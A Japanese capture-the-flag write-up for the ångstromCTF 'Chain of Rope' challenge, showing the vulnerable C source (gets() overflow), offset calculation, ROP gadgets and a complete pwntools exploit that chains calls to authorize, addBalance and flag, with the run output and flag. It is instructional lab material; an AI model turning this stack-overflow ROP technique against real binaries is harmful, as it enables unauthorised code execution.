ångstromCTF Binary Chain of Rope

Chain of Rope

defund found out about this cool new dark web browser! While he was browsing the dark web he came across this service that sells rope chains on the black market, but they're super overpriced! He managed to get the source code. Can you get him a rope chain without paying?

/problems/2019/chain_of_rope/

nc shell.actf.co 19400

実行ファイルとソースコードが与えられる。

~/Desktop/ångstromCTF/Pwn/Chain of Rope ᐅ file chain_of_rope 
chain_of_rope: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d4c22998218e85daf31fb0739fe4b630d57f6241, not stripped

~/Desktop/ångstromCTF/Pwn/Chain of Rope ᐅ checksec.sh --file chain_of_rope 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   chain_of_rope

chain_of_rope.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
    userToken = 0x1337;
    return 0;
}

int addBalance (int pin) {
    if (userToken == 0x1337 && pin == 0xdeadbeef) {
        balance = 0x4242;
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

int flag (int pin, int secret) {
    if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
        printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
        system("/bin/cat flag.txt");
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

void getInfo () {
    printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    char name [32];
    printf("--== ROPE CHAIN BLACK MARKET ==--\n");
    printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
    printf("What would you like to do?\n");
    printf("1 - Set name\n");
    printf("2 - Get user info\n");
    printf("3 - Grant access\n");
    int choice;
    scanf("%d\n", &choice);
    if (choice == 1) {
        gets(name);
    } else if (choice == 2) {
        getInfo();
    } else if (choice == 3) {
        printf("lmao no\n");
    } else {
        printf("I don't know what you're saying so get out of my black market\n");
    }
    return 0;
}

ソースコードをみて思うこと

  • フラグを出力する関数がある。
int flag (int pin, int secret) {
    if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
        printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
        system("/bin/cat flag.txt");
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

変数を4つ値を入れる必要がある。

  1. userToken == 0x1337
  2. balance == 0x4242
  3. pin == 0xba5eba11
  4. secret == 0xbedabb1e

  5. userTokenとbalanceについては次の関数で値を入れられる。

  6. pinとsecretはflag()の引数である。
int authorize () {
    userToken = 0x1337;
    return 0;
}

int addBalance (int pin) {
    if (userToken == 0x1337 && pin == 0xdeadbeef) {
        balance = 0x4242;
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}
        printf("1 - Set name\n");
    printf("2 - Get user info\n");
    printf("3 - Grant access\n");
    int choice;
    scanf("%d\n", &choice);
    if (choice == 1) {
        gets(name);
    } else if (choice == 2) {
        getInfo();
    } else if (choice == 3) {
        printf("lmao no\n");
    } else {
        printf("I don't know what you're saying so get out of my black market\n");
    }
    return 0;

IDA Proでスタックの状態を確認してリターンアドレスまでのオフセットを計算する。

f:id:Yunolay:20190421115728p:plain

-0000000000000034 v4              dd ?
-0000000000000030 v5              db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined

(snip)

-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004 rgid            dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

gets()されたものは&v5に入力される。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-34h]
  char v5; // [rsp+10h] [rbp-30h]
  __gid_t rgid; // [rsp+3Ch] [rbp-4h]

  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("--== ROPE CHAIN BLACK MARKET ==--");
  puts("LIMITED TIME OFFER: Sending free flag along with any purchase.");
  puts("What would you like to do?");
  puts("1 - Set name");
  puts("2 - Get user info");
  puts("3 - Grant access");
  __isoc99_scanf("%d\n", &v4);
  switch ( v4 )
  {
    case 1:
      gets(&v5);
      break;
    case 2:
      getInfo();
      break;
    case 3:
      puts("lmao no");
      break;
    default:
      puts("I don't know what you're saying so get out of my black market");
      break;
  }
  return 0;
}

v5からr(return address)までのオフセットを計算する。

>>> 0x30 + 0x8
56

リターンアドレスまでのオフセットが分かったので変数を代入する関数を順番に以下の順で呼んでいく。

'A' * 56 #offset
authorize () 
addBalance (int pin)
flag (int pin, int secret)
getInfo ()

addBalance (int pin)は引数を一つ、flag (int pin, int secret)は引数を2つ必要としているので pop rdiとpop rsiができるgadgetを探す。

$ rp --file chain_of_rope --unique --rop 5 | grep pop

(snip)

0x00401403: pop rdi ; ret  ;  (1 found)
0x00401401: pop rsi ; pop r15 ; ret  ;  (1 found)

(snip)

使用するかと思って無駄なことを書いてはいるが、 最終的なエクスプローコード

from pwn import *

def send_payload(payload):
    log.info("Send payload = %s" % repr(payload))
    r.send(payload)
    return

def sendline_payload(payload):
    log.info("Sendline payload = %s" % repr(payload))
    r.sendline(payload)
    return

def print_address(s, addr):
    log.info(s + ' : ' + hex(addr))
    return

binary = './chain_of_rope'
elf = ELF(binary)
context.binary = binary

host = 'shell.actf.co'
port = 19400

REMOTE = len(sys.argv) >= 2
if REMOTE:
    r = remote(host, port)
else:
    r = process(binary)

def set_name():
    sendline_payload('1')
    return

def get_userinfo():
    sendline_payload('2')
    print r.recv() # printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
    return

def grant_accese():
    sendline_payload('3')
    print r.recv() # printf("lmao no\n");
    return

authorize = elf.symbols['authorize']
addBalance = elf.symbols['addBalance']
flag = elf.symbols['flag']
getInfo = elf.symbols['getInfo']

'''
$ rp --file chain_of_rope --unique --rop 5
0x00401403: pop rdi ; ret  ;  (1 found)
0x00401401: pop rsi ; pop r15 ; ret  ;  (1 found)
'''

print_address('authorize', authorize)
print_address('addBalance', addBalance)
print_address('flag', flag)    
print_address('getInfo', getInfo)

print r.recvuntil('3 - Grant access\n')

sendline_payload('1')

payload = ''
payload += 'A' * 56

# authorize() 
payload += pack(authorize)

# addBalance(0xdeadbeef)
payload += pack(0x00401403) # pop rdi ; ret
payload += pack(0xdeadbeef) # arg1 : pin
payload += pack(addBalance)

# flag(0xba5eba11, 0xbedabb1e)
payload += pack(0x00401403) # pop rdi ; ret
payload += pack(0xba5eba11) # arg1 : pin
payload += pack(0x00401401) # pop rsi ; pop r15 ; ret
payload += pack(0xbedabb1e) # arg2 : secret
payload += 'BBBBBBBB' # junk
payload += pack(flag)

# getInfo()
payload += pack(getInfo)

sendline_payload(payload)

print r.recv()
print r.recv()

# r.interactive()
~/Desktop/ångstromCTF/Pwn/Chain of Rope ᐅ python exploit.py r
[*] '/home/user/Desktop/\xc3\xa5ngstromCTF/Pwn/Chain of Rope/chain_of_rope'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to shell.actf.co on port 19400: Done
[*] authorize : 0x401196
[*] addBalance : 0x4011ab
[*] flag : 0x4011eb
--== ROPE CHAIN BLACK MARKET ==--
LIMITED TIME OFFER: Sending free flag along with any purchase.
What would you like to do?
1 - Set name
2 - Get user info
3 - Grant access

[*] Sendline payload = '1'
[*] Sendline payload = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11@\x00\x00\x00\x00\x00\x03\x14@\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xab\x11@\x00\x00\x00\x00\x00\x03\x14@\x00\x00\x00\x00\x00\x11\xba^\xba\x00\x00\x00\x00\x01\x14@\x00\x00\x00\x00\x00\x1e\xbb\xda\xbe\x00\x00\x00\x00BBBBBBBB\xeb\x11@\x00\x00\x00\x00\x00R\x12@\x00\x00\x00\x00\x00'
Authenticated to purchase rope chain, sending free flag along with purchase...

actf{dark_web_bargains}Token: 0x1337
Balance: 0x4242

[*] Closed connection to shell.actf.co port 19400

FLAG : actf{dark_web_bargains}